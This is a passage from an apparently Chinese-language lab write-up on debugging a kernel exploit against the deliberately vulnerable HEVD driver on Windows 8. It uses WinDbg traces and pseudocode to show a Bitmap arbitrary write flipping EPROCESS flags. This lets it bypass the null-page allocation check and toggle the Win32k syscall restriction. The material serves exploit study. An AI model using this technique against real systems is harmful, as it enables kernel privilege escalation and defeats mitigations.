- nt! ?? ::NNGAKEGL::`string'+0x19d24://這里會(huì)將VdmAllowed值作比較判斷
- 81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d)
這個(gè)值很有意思,就是_EPROCESS.Flags2的值,來看一下,而這里判斷的就是Flags2中的一個(gè)比特位VdmAllowed
- kd> dt nt!_EPROCESS Flags 85a44040
- +0x0c4 Flags : 0x144d0c01
- kd> dt nt!_EPROCESS VdmAllowed 85a44040
- +0x0c4 VdmAllowed : 0y0
這里值為0,也就是禁用零頁分配,因此這里分配不成功將會(huì)進(jìn)入處理,返回C00000F0
- kd> p
- nt! ?? ::NNGAKEGL::`string'+0x19d2a:
- 81bb1394 bef00000c0 mov esi,0C00000F0h
- kd> p
- nt! ?? ::NNGAKEGL::`string'+0x19d2f:
- 81bb1399 e94c87edff jmp nt!NtAllocateVirtualMemory+0x97c (81a89aea)
我們來看一下NtAllocateVirtualMemory相關(guān)邏輯的偽代碼。
- NTSTATUS __stdcall NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect)
- {
- v65 = ProcessHandle;
- v68 = BaseAddress;
- v67 = AllocationSize;
- v7 = __readfsdword(292);//獲取_KTHREAD結(jié)構(gòu)
- v7v76 = v7;
- v78 = *(PVOID *)(v7 + 128); //獲取+0x80 EPROCESS結(jié)構(gòu)
- ……
- PreviousMode[0] = *(_BYTE *)(v7 + 346);
- ms_exc.registration.TryLevel = 0;
- v9 = v68;//傳遞地址值
- ……
- v12 = (unsigned int)*v9; //BaseAddress連續(xù)傳遞
- v74 = v12;//再次傳遞
- if ( v74 < 0x10000 && !(*(_DWORD *)(v14 + 196) & 0x1000000) )// 判斷v74 BaseAddress是否小于10000,如果小于會(huì)認(rèn)為是零頁內(nèi)存分配,則會(huì)判斷v14+196,也就是Flags.VdmAllowed是否允許分配
- {
- v25 = 0xC00000F0;//如果是零頁分配且禁用零頁分配,則返回C00000F0
- goto LABEL_145;
- }
- }
我們嘗試使用Bitmap來修改VdmAllowed看看能不能進(jìn)行零頁分配,繼續(xù)執(zhí)行到達(dá)我們setbitmap的地方。
- kd> g
- Break instruction exception - code 80000003 (first chance)
- 001b:00021d21 cc int 3
- kd> dt nt!_EPROCESS VdmAllowed 85a44040
- +0x0c4 VdmAllowed : 0y1
可以看到VdmAllowed被改掉了,進(jìn)入剛才的判斷
- kd> g
- Breakpoint 1 hit
- nt!NtAllocateVirtualMemory+0x9b7://判斷edx小于1000
- 81a89b25 3bd0 cmp edx,eax
- kd> r edx
- edx=00000060
- kd> p
- nt!NtAllocateVirtualMemory+0x9b9:
- 81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384)
- kd> p//判斷VdmAllowed為1,允許零頁申請(qǐng)
- nt! ?? ::NNGAKEGL::`string'+0x19d1a:
- 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h
- kd> p
- nt! ?? ::NNGAKEGL::`string'+0x19d24:
- 81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d)
- kd> p
- nt!NtAllocateVirtualMemory+0x9bf://跳轉(zhuǎn)到正常流程,而不返回C0000F0
- 81a89b2d 8bc6 mov eax,esi
可以看到,繞過了剛才的判斷,接下來直接執(zhí)行,可以看到,NtAllocateVirtualMemory返回了STATUS_SUCCESS(圖)
回歸Win8看防護(hù)之Win32k.sys
下面我們來看一下Win32k的API禁用的情況,當(dāng)然這里默認(rèn)Disallow的比特位也是為0,也就是在當(dāng)前進(jìn)程不禁用Win32k系統(tǒng)調(diào)用,在PsConvertToGuiThread函數(shù)中。
- kd> p
- nt!PsConvertToGuiThread+0x9://獲得KTHREAD結(jié)構(gòu)
- 81b0c67f 648b3524010000 mov esi,dword ptr fs:[124h]
- kd> r esi
- esi=8548b040
- kd> dt nt!_KTHREAD 8548b040
- +0x000 Header : _DISPATCHER_HEADER
- +0x010 SListFaultAddress : (null)
- kd> p
- nt!PsConvertToGuiThread+0x2c://ecx獲得EPROCESS結(jié)構(gòu)
- 81b0c6a2 8b8e80000000 mov ecx,dword ptr [esi+80h]
- kd> p
- nt!PsConvertToGuiThread+0x32://對(duì)應(yīng)Flags2的偏移
- 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h
- kd> dt nt!_EPROCESS Flags2 8548b040+70
- +0x0c0 Flags2 : 0x1020201
- kd> dt nt!_EPROCESS DisallowWin32kSystemCalls
- +0x0c0 DisallowWin32kSystemCalls : 0y0//判斷Disallow比特位的值
這里DisallowWin32kSystemCalls的比特位為0,也就是允許win32k調(diào)用,這里到達(dá)一處條件判斷,判斷的就是這個(gè)比特位,如果為1,則會(huì)跳轉(zhuǎn)返回C0000005,當(dāng)前狀態(tài)為0,允許執(zhí)行時(shí),會(huì)繼續(xù)執(zhí)行。
- kd> p
- nt!PsConvertToGuiThread+0x3c:
- 81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732)
- kd> p
- nt!PsConvertToGuiThread+0x3e:
- 81b0c6b4 8d55ff lea edx,[ebp-1]
接下來,我們注釋掉還原的setbitmap部分,重新執(zhí)行,看到Disallow比特位為1,這時(shí)候程序會(huì)進(jìn)入錯(cuò)誤處理,返回C0000022
- kd> dt nt!_EPROCESS DisallowWin32kSystemCalls 866654c0
- +0x0c0 DisallowWin32kSystemCalls : 0y1//對(duì)應(yīng)比特位為1
- kd> p
- nt!PsConvertToGuiThread+0x32:
- 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h
- //判斷Flags2.DisallowedWin32kSystemCalls
- kd> p
- nt!PsConvertToGuiThread+0x3c:
- 81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732)
- kd> p
- nt!PsConvertToGuiThread+0xbc:
- 81b0c732 b8220000c0 mov eax,0C0000022h //進(jìn)入錯(cuò)誤判斷,返回C0000022
來看下這段代碼邏輯。
- signed int __stdcall PsConvertToGuiThread()
- {
- v0 = __readfsdword(292);//獲取_KTHREAD結(jié)構(gòu)體
- if ( *(_BYTE *)(v0 + 346) )//判斷_KTHREAD結(jié)構(gòu)體的Previous Mode
- {
- if ( *(int **)(v0 + 60) == &KeServiceDescriptorTable )//檢查是否是win32的線程
- {
- v1 = *(_DWORD *)(v0 + 128);
- if ( *(_DWORD *)(v1 + 192) & 0x80000000 )//判斷DisallowedWin32kSystemCalls
- {
- result = 0xC000022;//返回C000022 STATUS_ACCESS_DENIED
- }
整個(gè)Win32k的檢查過程是這樣的,KiFastCallEntry -> KiEndUnexpectRange -> PsCovertToGUIThread。這個(gè)檢查過程的依據(jù)是SSDT,系統(tǒng)調(diào)度表,當(dāng)調(diào)用不在SSDT表時(shí),也就是第一次調(diào)用Win32k System Call的時(shí)候,會(huì)檢查win32k是否允許調(diào)用。如下代碼邏輯:
- .text:00511652 loc_511652: ; CODE XREF: _KiEndUnexpectedRange+15j
- .text:00511652 ; _KiSystemService+8Aj
- .text:00511652 mov edi, eax ;eax = SSDTIndex
- .text:00511654 shr edi, 8;eax/256
- .text:00511657 and edi, 10h;//SSDT or SSDTShadow
- .text:0051165A mov ecx, edi
- .text:0051165C add edi, [esi+3Ch];//檢查_KTHREAD->ServiceTable
- //kd> dt nt!_KTHREAD ServiceTable
- //+0x03c ServiceTable : Ptr32 Void
- .text:0051165F mov ebx, eax
- .text:00511661 and eax, 0FFFh
- .text:00511666 cmp eax, [edi+8];//檢查當(dāng)前系統(tǒng)調(diào)用號(hào)
- //和ServiceTable中的調(diào)用號(hào),確定是不是在SSDT
- .text:00511669 jnb _KiEndUnexpectedRange//如果不在,則跳轉(zhuǎn)
在KiEndUnexpectedRange中會(huì)通過PsConvertToGuiThread來Check狀態(tài),在這里會(huì)檢查win32k系統(tǒng)調(diào)用的情況,如果Flags2.DisAllowedWin32kSystemCalls為1,則禁用狀態(tài),返回C000022 ,也就是STATUS_ACCESS_DENIED
- .text:00511384 _KiEndUnexpectedRange proc near ; CODE XREF: _KiSystemService+19B_x0019_j
- .text:00511384 cmp ecx, 10h
- .text:00511387 jnz short loc_5113C3
- .text:00511389 push edx
- .text:0051138A push ebx//系統(tǒng)調(diào)用號(hào)
- .text:0051138B call _PsConvertToGuiThread@0 ; PsConvertToGuiThread()
默認(rèn)是不啟用的,則能成功打開cmd。
我們通過setbitmap可以將其改為啟用,這樣PsConvertToGuiThread就會(huì)返回C000022,則后續(xù)會(huì)造成調(diào)用CreateProcess中由于禁用win32k.sys導(dǎo)致程序加載失敗。
其實(shí)整個(gè)HEVD的這個(gè)exploit調(diào)試還是很有趣的,Bitmap也可以修改kernel Address達(dá)到一些比較巧妙的效果,當(dāng)然,如果修改的地址有問題,則會(huì)直接BSOD,我就多次發(fā)生這樣的情況,快照保存了幾十個(gè)。文中有一些疑問和思考不夠深入的地方請(qǐng)師傅們多多批評(píng)指正,謝謝大家!